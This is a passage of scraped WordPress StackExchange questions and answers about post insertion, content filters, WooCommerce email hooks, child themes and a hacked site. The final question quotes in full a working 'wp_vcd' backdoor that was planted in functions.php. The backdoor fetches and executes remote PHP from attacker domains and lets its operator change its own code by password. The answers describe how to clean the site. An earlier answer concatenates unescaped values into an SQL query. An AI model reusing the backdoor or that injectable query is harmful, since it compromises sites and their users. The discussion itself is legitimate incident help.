more then one record. But, from my experience, there is very little gain in sending 10 INSERT queries at once against sending 10 requests each with 1 INSERT query.</p>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285391", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/124860/" ]
I need to insert about 300 posts into the DB programmatically. Usually i use wp\_insert\_post to do this job with one record each time, but this time I don't think it'll work well with hundreds of rows. According to [this](https://dev.mysql.com/doc/refman/5.7/en/insert-optimization.html), it will probably be faster to insert multiple rows in one query. So, I wonder if it's possible to use wp\_insert\_post in one query. Thnx and sorry for my bad English.
I would advise using wp\_insert\_post() and putting you text files into a CSV CSV ``` Post Title,Post Content, "title", "content", "title", "content"... ``` PHP ``` $path = "/posts.csv"; //require __DIR__ . "$path"; $file = fopen(__DIR__ . $path, 'r'); while (($line = fgetcsv($file)) !== FALSE) { //$line is an array of the csv elements $post["id"] = wp_insert_post( array( "post_title" => $line[0], "post_author" => 1, "post_content" => $line[1], "post_type" => 'page', //add post type "post_status" => "publish" )); } fclose($file); ``` Or you could do a SQL INSERT, have a look at - <https://stackoverflow.com/questions/1670838/inserting-a-post-in-wordpress-using-mysql> ``` $sql = "INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES "; $sql .= "(' ','".$post_author."',"."'".$post_date."',"."'".$post_date_gmt."',"."'".$post_content."',"."'".$post_title."',"."'".$post_excerpt."',"."'".$post_status."',"."'".$comment_status."',"."'".$ping_status."',"."'".$posd_password."',"."'".$post_name."',"."'".$to_ping."',"."'".$pinged."',"."'".$post_modified."',"."'".$post_modified_gmt."',"."'".$post_content_filtered."',"."'".$post_parent."',"."'".$guid."',"."'".$menu_order."',"."'".$post_type."',"."'".$post_mime_type."',"."'".$comment_count."'),"; $res = mysql_query($sql); if($res): print 'Successful Insert'; else: print 'Unable to update table'; endif; ```
285,410
<p>I would like to hide the contents of a specific post from showing. <code>remove_post_type_support</code>does not seem to work.</p> <pre><code>add_action('template_redirect',array($this,'hide_post_contents')); public funcion hide_post_contents() { if(is_single(3)) { remove_post_type_support( 'post', 'title' ); } } </code></pre>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpress.org/reference/functions/the_content/\" rel=\"noreferrer\"><code>the_content</code></a> filter to return an empty content if you are on a specific post page. For example:</p>\n\n<pre><code>add_filter('the_content', 'hide_post_contents');\n\nfunction hide_post_contents( $content ) {\n if( is_single(3) ) {\n return '';\n }\n return $content;\n}\n</code></pre>\n\n<p>Also, there is a mistype in your code. <code>funcion</code> must be changed to <code>function</code>.</p>\n" }, { "answer_id": 285822, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": 2, "selected": false, "text": "<p>You can put the condition for page id where you are displaying the_content() function.</p>\n\n<pre><code>if( !is_single(101) ) {\n the_content()\n}\n</code></pre>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285410", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/126924/" ]
I would like to hide the contents of a specific post from showing. `remove_post_type_support`does not seem to work. ``` add_action('template_redirect',array($this,'hide_post_contents')); public funcion hide_post_contents() { if(is_single(3)) { remove_post_type_support( 'post', 'title' ); } } ```
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,426
<p>I want to change the woocommerce email header template with a new one so that I could add conditions in header template to get value from the dashboard (To change the color of header based on user input from the dashboard). I have created a plugin file to do so.</p> <p>I have followed several tutorials and all I received is a bunch of errors. I have a class with the following code:</p> <pre><code>public function __construct(){ add_action('woocommerce_email',array($this,'woocommerce_email')); } </code></pre> <p>Now I have added code to remove default header hook</p> <pre><code>public function woocommerce_email($mailer){ remove_action('woocommerce_header',array($mailer,'email_header')); add_action('woocommerce_header',array($this,'email_header')); </code></pre> <p>now calling the template </p> <pre><code>public function email_header() { wc_get_template( 'emails/email-header.php'); } </code></pre> <p>I am not passing anything to the template file. So no parameters are passed to functions. I just wanted to see that my template is being taken. Also, I assume <code>$mailer</code> to be a part of the woocommerce class. Any help would be appreciated.</p> <p>Please note that this is a plugin functionality so I am not interested in replacing the woocommerce email templates.</p>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpress.org/reference/functions/the_content/\" rel=\"noreferrer\"><code>the_content</code></a> filter to return an empty content if you are on a specific post page. For example:</p>\n\n<pre><code>add_filter('the_content', 'hide_post_contents');\n\nfunction hide_post_contents( $content ) {\n if( is_single(3) ) {\n return '';\n }\n return $content;\n}\n</code></pre>\n\n<p>Also, there is a mistype in your code. <code>funcion</code> must be changed to <code>function</code>.</p>\n" }, { "answer_id": 285822, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": 2, "selected": false, "text": "<p>You can put the condition for page id where you are displaying the_content() function.</p>\n\n<pre><code>if( !is_single(101) ) {\n the_content()\n}\n</code></pre>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285426", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130740/" ]
I want to change the woocommerce email header template with a new one so that I could add conditions in header template to get value from the dashboard (To change the color of header based on user input from the dashboard). I have created a plugin file to do so. I have followed several tutorials and all I received is a bunch of errors. I have a class with the following code: ``` public function __construct(){ add_action('woocommerce_email',array($this,'woocommerce_email')); } ``` Now I have added code to remove default header hook ``` public function woocommerce_email($mailer){ remove_action('woocommerce_header',array($mailer,'email_header')); add_action('woocommerce_header',array($this,'email_header')); ``` now calling the template ``` public function email_header() { wc_get_template( 'emails/email-header.php'); } ``` I am not passing anything to the template file. So no parameters are passed to functions. I just wanted to see that my template is being taken. Also, I assume `$mailer` to be a part of the woocommerce class. Any help would be appreciated. Please note that this is a plugin functionality so I am not interested in replacing the woocommerce email templates.
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,435
<p>I've added a template in my theme, I want to change page title using following code. but its change my menu titles also. I'm unable to fix this issue. Please help.</p> <pre><code>function get_id_by_slug($page_slug) { $page = get_page_by_path($page_slug); if ($page) { return $page-&gt;ID; } else { return null; } } $branchPageSlug = $_GET['slug']; $branchPageID = get_id_by_slug($branchPageSlug); global $branchPageTitle; $branchPageTitle = get_the_title($branchPageID); function cf_ChangePageTitle( $title ) { global $branchPageTitle; return $branchPageTitle; } add_filter( 'the_title', 'cf_ChangePageTitle' ); </code></pre>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpress.org/reference/functions/the_content/\" rel=\"noreferrer\"><code>the_content</code></a> filter to return an empty content if you are on a specific post page. For example:</p>\n\n<pre><code>add_filter('the_content', 'hide_post_contents');\n\nfunction hide_post_contents( $content ) {\n if( is_single(3) ) {\n return '';\n }\n return $content;\n}\n</code></pre>\n\n<p>Also, there is a mistype in your code. <code>funcion</code> must be changed to <code>function</code>.</p>\n" }, { "answer_id": 285822, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": 2, "selected": false, "text": "<p>You can put the condition for page id where you are displaying the_content() function.</p>\n\n<pre><code>if( !is_single(101) ) {\n the_content()\n}\n</code></pre>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285435", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/108953/" ]
I've added a template in my theme, I want to change page title using following code. but its change my menu titles also. I'm unable to fix this issue. Please help. ``` function get_id_by_slug($page_slug) { $page = get_page_by_path($page_slug); if ($page) { return $page->ID; } else { return null; } } $branchPageSlug = $_GET['slug']; $branchPageID = get_id_by_slug($branchPageSlug); global $branchPageTitle; $branchPageTitle = get_the_title($branchPageID); function cf_ChangePageTitle( $title ) { global $branchPageTitle; return $branchPageTitle; } add_filter( 'the_title', 'cf_ChangePageTitle' ); ```
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,441
<p>I have little experience with creating a Child Theme. Just want to make some changes to css on the website.</p> <p>When I use the inspect mode to see which CSS was being used, I saw it was still linking to the parent css. Do I have the right code for my functions.php?</p> <p><a href="https://i.stack.imgur.com/BrhL1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BrhL1.png" alt="function.php"></a></p>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpress.org/reference/functions/the_content/\" rel=\"noreferrer\"><code>the_content</code></a> filter to return an empty content if you are on a specific post page. For example:</p>\n\n<pre><code>add_filter('the_content', 'hide_post_contents');\n\nfunction hide_post_contents( $content ) {\n if( is_single(3) ) {\n return '';\n }\n return $content;\n}\n</code></pre>\n\n<p>Also, there is a mistype in your code. <code>funcion</code> must be changed to <code>function</code>.</p>\n" }, { "answer_id": 285822, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": 2, "selected": false, "text": "<p>You can put the condition for page id where you are displaying the_content() function.</p>\n\n<pre><code>if( !is_single(101) ) {\n the_content()\n}\n</code></pre>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285441", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131203/" ]
I have little experience with creating a Child Theme. Just want to make some changes to css on the website. When I use the inspect mode to see which CSS was being used, I saw it was still linking to the parent css. Do I have the right code for my functions.php? [![function.php](https://i.stack.imgur.com/BrhL1.png)](https://i.stack.imgur.com/BrhL1.png)
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,445
<p>It appears that, on uploading, WP media library looks for certain spammy-looking filenames, and prevents these files from displaying. Is this a feature? Is it documented anywhere? Can it be disabled? (Googling turns up nothing.)</p> <p>Explanation. Using a fresh installation of WordPress 4.8.3 on a new domain, I am publishing a book for an author friend. The book contains about a 100 photos taken during his travels. I was happily uploading the images when I noticed that 1 thumbnail was not showing the photo, but a blank, grey square. This was weird, so I tried placing the image in a post, with the same result: the file exists (and it is the same physical file I uploaded, not altered in any way), but the post shows a blank gray area where the image should be.</p> <p>The file is named - and I hope StackExchange will permit this, now - <strong>"chapter_02_img_02_beer_advertisement_1990.jpg".</strong> This is indeed what's in the photo: an ad for beer.</p> <p>So I am thinking maybe an overzealous admin at my host set up some trap, but no - WP does the same exact thing on localhost, using a different theme, and no plugins whatsoever. And sure enough, when I renamed the file to a more innocuous-looking "chapter_02_img_02_ba_1990.jpg" and reuploaded, the problem went away. (But this is a nuisance, now I have to maintain a separate set of files to keep all links healthy.)</p> <p>Is this a thing in WordPress, or should I be looking elsewhere for the cause?</p>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpress.org/reference/functions/the_content/\" rel=\"noreferrer\"><code>the_content</code></a> filter to return an empty content if you are on a specific post page. For example:</p>\n\n<pre><code>add_filter('the_content', 'hide_post_contents');\n\nfunction hide_post_contents( $content ) {\n if( is_single(3) ) {\n return '';\n }\n return $content;\n}\n</code></pre>\n\n<p>Also, there is a mistype in your code. <code>funcion</code> must be changed to <code>function</code>.</p>\n" }, { "answer_id": 285822, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": 2, "selected": false, "text": "<p>You can put the condition for page id where you are displaying the_content() function.</p>\n\n<pre><code>if( !is_single(101) ) {\n the_content()\n}\n</code></pre>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285445", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131204/" ]
It appears that, on uploading, WP media library looks for certain spammy-looking filenames, and prevents these files from displaying. Is this a feature? Is it documented anywhere? Can it be disabled? (Googling turns up nothing.) Explanation. Using a fresh installation of WordPress 4.8.3 on a new domain, I am publishing a book for an author friend. The book contains about a 100 photos taken during his travels. I was happily uploading the images when I noticed that 1 thumbnail was not showing the photo, but a blank, grey square. This was weird, so I tried placing the image in a post, with the same result: the file exists (and it is the same physical file I uploaded, not altered in any way), but the post shows a blank gray area where the image should be. The file is named - and I hope StackExchange will permit this, now - **"chapter\_02\_img\_02\_beer\_advertisement\_1990.jpg".** This is indeed what's in the photo: an ad for beer. So I am thinking maybe an overzealous admin at my host set up some trap, but no - WP does the same exact thing on localhost, using a different theme, and no plugins whatsoever. And sure enough, when I renamed the file to a more innocuous-looking "chapter\_02\_img\_02\_ba\_1990.jpg" and reuploaded, the problem went away. (But this is a nuisance, now I have to maintain a separate set of files to keep all links healthy.) Is this a thing in WordPress, or should I be looking elsewhere for the cause?
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,448
<p>I am looking to add an extra ID to the output: <code>&lt;div id="NEWID" class="kalec"&gt;</code> if the shortcode is called with the value <code>no=0</code> i.e. <code>[photo no="0"]</code></p> <p>I need to use an IF statement within my output but can't figure out the correct syntax.</p> <pre><code> function photo_shortcode($atts){ extract(shortcode_atts(array( 'no' =&gt; 1, ), $atts)); $no = ( $no != '' ) ? $no : 1; $images = get_field('fl_gallery'); $image = $images[$no]; if ($image) { $credit = get_field('fl_credit', $image['id']); return '&lt;div class="kalim"&gt;&lt;img title="' . esc_attr( sprintf( the_title_attribute( 'echo=0' ) ) ) . '" alt="' . esc_attr( sprintf( the_title_attribute( 'echo=0' ) ) ) . '" src="' . $image['url'] . '" /&gt;' . (!empty($credit) ? '&lt;div [INSERT IF STATEMENT] class="kalec"&gt;&lt;div class="kalca"&gt;' . $image['caption'] . '&lt;/div&gt;&lt;div class="kalcr"&gt;Credit:' . $credit . '&lt;/div&gt;&lt;/div&gt;': '' ) . '&lt;/div&gt;' ; } } </code></pre>
[ { "answer_id": 285704, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": false, "text": "<p>Your code doesn't seem to be trying to hide the content, but you can use <a href=\"https://developer.wordpress.org/reference/functions/the_content/\" rel=\"noreferrer\"><code>the_content</code></a> filter to return an empty content if you are on a specific post page. For example:</p>\n\n<pre><code>add_filter('the_content', 'hide_post_contents');\n\nfunction hide_post_contents( $content ) {\n if( is_single(3) ) {\n return '';\n }\n return $content;\n}\n</code></pre>\n\n<p>Also, there is a mistype in your code. <code>funcion</code> must be changed to <code>function</code>.</p>\n" }, { "answer_id": 285822, "author": "Pratik bhatt", "author_id": 60922, "author_profile": "https://wordpress.stackexchange.com/users/60922", "pm_score": 2, "selected": false, "text": "<p>You can put the condition for page id where you are displaying the_content() function.</p>\n\n<pre><code>if( !is_single(101) ) {\n the_content()\n}\n</code></pre>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285448", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/40727/" ]
I am looking to add an extra ID to the output: `<div id="NEWID" class="kalec">` if the shortcode is called with the value `no=0` i.e. `[photo no="0"]` I need to use an IF statement within my output but can't figure out the correct syntax. ``` function photo_shortcode($atts){ extract(shortcode_atts(array( 'no' => 1, ), $atts)); $no = ( $no != '' ) ? $no : 1; $images = get_field('fl_gallery'); $image = $images[$no]; if ($image) { $credit = get_field('fl_credit', $image['id']); return '<div class="kalim"><img title="' . esc_attr( sprintf( the_title_attribute( 'echo=0' ) ) ) . '" alt="' . esc_attr( sprintf( the_title_attribute( 'echo=0' ) ) ) . '" src="' . $image['url'] . '" />' . (!empty($credit) ? '<div [INSERT IF STATEMENT] class="kalec"><div class="kalca">' . $image['caption'] . '</div><div class="kalcr">Credit:' . $credit . '</div></div>': '' ) . '</div>' ; } } ```
Your code doesn't seem to be trying to hide the content, but you can use [`the_content`](https://developer.wordpress.org/reference/functions/the_content/) filter to return an empty content if you are on a specific post page. For example: ``` add_filter('the_content', 'hide_post_contents'); function hide_post_contents( $content ) { if( is_single(3) ) { return ''; } return $content; } ``` Also, there is a mistype in your code. `funcion` must be changed to `function`.
285,459
<p>I want to extend my website in a way that is parallel to the wordpress theme.</p> <p>Example:</p> <p>My website with wordpress is at: <code>www.mywebsite.com</code> By ftp I added a directory named <code>test</code>, in which there is a php file <code>test.php</code></p> <p>The problem is that if I write in the url: <code>www.mywebsite.com/test/test.php</code> it redirects me to the "page not found" of my theme.</p> <p>How can I deactivate this behavior? </p> <p>Posting .htaccess:</p> <pre><code># BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] &lt;/IfModule&gt; # END WordPress # # av:php5-engine AddHandler av-php5 .php # # av:Toolbar SetEnv AV_TOOLBAR 1 </code></pre>
[ { "answer_id": 285481, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 0, "selected": false, "text": "<p>IIRC, you cannot execute 'plain' (non-WP-code) PHP code on a WordPress site. WP will use the URL as a 'pointer' to an entry (page/post) in your WP database. It will not load/run the PHP code in the file.</p>\n\n<p>If you want to have a customized 404 file, then create a child theme and then copy/modify the 404.php file from the parent theme. Lots of googles on how to create child themes (and why they are important). </p>\n\n<p>There are plugins that will allow you to put PHP code in a page/post. But, based on your question, the best solution is a customized 404 template.</p>\n\n<p>** <strong>Edit</strong> **\nI stand corrected. A non-WP PHP page can be displayed on a WP-based site. Of course, it doesn't have any of the site's \"look\" (for which you'd want to use a template with your PHP code), but it does work. </p>\n\n<p>I always thought that it wouldn't, based on some murkily-remembered past experience. </p>\n" }, { "answer_id": 285523, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 3, "selected": true, "text": "<p>Native WordPress rules are designed to ignore any existing files and directories, including arbitrary PHP scripts. This is literally what this part of directives mean:</p>\n\n<pre><code>RewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\n</code></pre>\n\n<p>So under normal circumstances WP just shouldn't be involved with your request in any way. You may have some other rewrite rules interfering, possibly from a different place in web server configuration.</p>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285459", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131211/" ]
I want to extend my website in a way that is parallel to the wordpress theme. Example: My website with wordpress is at: `www.mywebsite.com` By ftp I added a directory named `test`, in which there is a php file `test.php` The problem is that if I write in the url: `www.mywebsite.com/test/test.php` it redirects me to the "page not found" of my theme. How can I deactivate this behavior? Posting .htaccess: ``` # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress # # av:php5-engine AddHandler av-php5 .php # # av:Toolbar SetEnv AV_TOOLBAR 1 ```
Native WordPress rules are designed to ignore any existing files and directories, including arbitrary PHP scripts. This is literally what this part of directives mean: ``` RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d ``` So under normal circumstances WP just shouldn't be involved with your request in any way. You may have some other rewrite rules interfering, possibly from a different place in web server configuration.
285,464
<p>Today while working, I had tried to install <strong>Go Pricing</strong> Plugin from this website.</p> <pre><code>https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/ </code></pre> <p>It was unsuccessful at the first time then I tried for several times but no result. then after some time, my website went blank. I searched for Xampp errors, tried to deactivate plugins from the database(I could not access admin nor frontend)</p> <p>Then finally, I have found this code in <strong>function.php</strong></p> <p>Is it something I have to worry? Is there any place where I can still find this code on my WordPress? </p> <p>Now I have removed this code from <strong>function.php</strong> and website is working fine but I am afraid if my passwords and other things uploading somewhere.</p> <p>Is there something i have to remove?</p> <pre><code>if (isset($_REQUEST['action']) &amp;&amp; isset($_REQUEST['password']) &amp;&amp; ($_REQUEST['password'] == 'b08494ffce10b7c547993599bd7deb9e')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false &amp;&amp; stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "&lt;?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='322f4f8d2d11134e9bedae0c97257b9d'; if (($tmpcontent = @file_get_contents("http://www.venos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.venos.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif (($tmpcontent = @file_get_contents("http://www.venos.pw/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.pw/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp </code></pre>
[ { "answer_id": 285468, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 3, "selected": true, "text": "<p>It's good that you've regained access to your website, but without any further action, you'll get hacked again. These are steps to take, in order to clean, and secure your site:</p>\n\n<ol>\n<li><p>do not panic ( very important )</p></li>\n<li><p>do not remove anything yourself</p></li>\n<li><p>install and activate <a href=\"https://wordpress.org/plugins/search/wordfence/\" rel=\"nofollow noreferrer\">WordFence Security</a> plugin</p></li>\n<li><p>in <em>Wordfence -> Options</em>, select everything to scan</p></li>\n<li><p>run <em>Wordfence -> Scan</em>, and follow instructions provided</p></li>\n<li><p>repeat step 5, until the scan shows no problems</p></li>\n<li><p>setup firewall in Wordfence</p></li>\n<li><p>make a full backup of your site, and remember to do it frequently</p></li>\n</ol>\n\n<p>If the above procedure does not work at any stage, hire a professional!</p>\n\n<p><strong>Note:</strong> it is possible, that the plugin, you've attempted to install, caused this infection. Be very careful installing plugins from unknown sources. Try first, to search for plugins, in the official WordPress repository.</p>\n" }, { "answer_id": 285480, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 0, "selected": false, "text": "<p>I never install plugins that come from non-WP-repository sources. Just not worth it, IMHO.</p>\n\n<p>That said, you should uninstall the plugin, then delete it, then make sure the plugin folder is deleted. I would also reinstall WP core, and all themes (remove any plugins/themes that you do not use). I have not used WordFence, so cannot comment on it. </p>\n\n<p>But I have cleaned up some sites, and wrote up a guide for that <a href=\"http://securitydawg.com/recovering-from-a-hacked-wordpress-site/\" rel=\"nofollow noreferrer\">here</a> that might be helpful. Some would say 'nuke from orbit', but I've found that the things mentioned in my guide work just fine ... at least in the sites that I have cleaned up.</p>\n\n<p>Good luck!</p>\n" }, { "answer_id": 290896, "author": "Marcelo", "author_id": 134732, "author_profile": "https://wordpress.stackexchange.com/users/134732", "pm_score": 2, "selected": false, "text": "<p>This occurs by using NULLED themes and plugins</p>\n\n<p>You have to know that everything nulled is contaminated by malicious code.</p>\n\n<p>When Nulled is installed, the code wakes up at a certain moment, goes through all the folders of your hosting, and installs a script in functions.php and adding several files en wp-includes or wp-admin.</p>\n\n<p>wp-vcd.php</p>\n\n<p>wp-tmp.php</p>\n\n<p>AND ALSO modifies</p>\n\n<p>post.php</p>\n\n<p>functions.php</p>\n" }, { "answer_id": 346441, "author": "Nitesh", "author_id": 174507, "author_profile": "https://wordpress.stackexchange.com/users/174507", "pm_score": 0, "selected": false, "text": "<p>I had the same issue and fixed by doing the below steps:</p>\n\n<ol>\n<li>Delete extra code from the \"wp-includes/post.php\" eg:</li>\n</ol>\n\n<p>\n\n<pre><code> if (file_exists(dirname(__FILE__) . '/wp-vcd.php'))\n\n include_once(dirname(__FILE__) . '/wp-vcd.php'); \n</code></pre>\n\n<ol start=\"2\">\n<li>Delete 2 files: \"wp-includes/wp-tmp.php\" &amp; \"wp-includes/wp-vcd.php\"</li>\n<li><p>Open \"themes/your theme [parent &amp; child ]/functions.php\" and delete injected code.</p></li>\n<li><p>remove from \"mysqlM\"</p></li>\n</ol>\n\n<p>PLEASE DON'T DOWNLOAD/INSTALL FROM THIRD-PARTY PLUGIN HACKER/PROVIDERS \"They are actual MF\"</p>\n\n<p>Hope this will help someone.</p>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285464", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128689/" ]
